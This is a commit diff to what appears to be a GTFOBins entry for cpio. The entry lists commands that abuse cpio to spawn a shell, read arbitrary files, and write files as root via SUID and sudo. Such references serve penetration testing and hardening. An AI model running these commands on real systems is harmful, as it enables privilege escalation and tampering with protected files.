Simplify and add file-write and shell

This commit is contained in:
Andrea Cardaci 2021-03-07 12:24:02 +01:00 committed by GitHub
parent 6f2c001687
commit d63982dea9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,38 +1,54 @@
--- ---
description: This reads the contents of file or overwrite to or from the subjected place.
functions: functions:
shell:
- code: |
echo '/bin/sh </dev/tty >/dev/tty' >localhost
cpio -o --rsh-command /bin/sh -F localhost:
file-read: file-read:
- code: | - description: The content of the file is printed to standard output, between the cpio archive format header and footer.
LFILE=file_to_read_or_to_save code: |
LFOLDER=folder_location_to_read_or_to_save LFILE=file_to_read
touch file.txt echo "$LFILE" | cpio -o
FOLDER=folder_where_file.txt_is_saved - description: The whole directory structure is copied to `$TF`.
echo $LFILE > /$FOLDER/file.txt code: |
cd /$LFOLDER && cpio -o < /$FOLDER/file.txt LFILE=file_to_read
TF=$(mktemp -d)
echo "$LFILE" | cpio -dp $TF
cat "$TF/$LFILE"
file-write:
- description: Copies `$LFILE` to the `$LDIR` directory.
code: |
LFILE=file_to_write
LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | cpio -up $LDIR
suid: suid:
- code: | - description: The whole directory structure is copied to `$TF`.
LFILE=file_to_read_or_to_save code: |
LFOLDER=folder_location_to_read_or_to_save LFILE=file_to_read
touch file.txt TF=$(mktemp -d)
FOLDER=folder_where_file.txt_is_saved echo "$LFILE" | ./cpio -R $UID -dp $TF
echo $LFILE > /$FOLDER/file.txt cat "$TF/$LFILE"
cd /$LFOLDER && cpio -o < /$FOLDER/file.txt - description: Copies `$LFILE` to the `$LDIR` directory.
code: |
# FILE to overwrite LFILE=file_to_write
cpio -p /$DFOLDER/ < /$FOLDER/file.txt LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | ./cpio -R 0:0 -p $LDIR
sudo: sudo:
- code: | - code: |
LFILE=file_to_read_or_to_save echo '/bin/sh </dev/tty >/dev/tty' >localhost
LFOLDER=folder_location_to_read_or_to_save sudo cpio -o --rsh-command /bin/sh -F localhost:
touch file.txt - description: The whole directory structure is copied to `$TF`.
FOLDER=folder_where_file.txt_is_saved code: |
echo $LFILE > /$FOLDER/file.txt LFILE=file_to_read
cd /$LFOLDER && cpio -o < /$FOLDER/file.txt TF=$(mktemp -d)
echo "$LFILE" | sudo cpio -R $UID -dp $TF
# FILE to overwrite cat "$TF/$LFILE"
cpio -p /$DFOLDER/ < /$FOLDER/file.txt - description: Copies `$LFILE` to the `$LDIR` directory.
code: |
LFILE=file_to_write
LDIR=where_to_write
echo DATA >$LFILE
echo $LFILE | sudo cpio -R 0:0 -p $LDIR
--- ---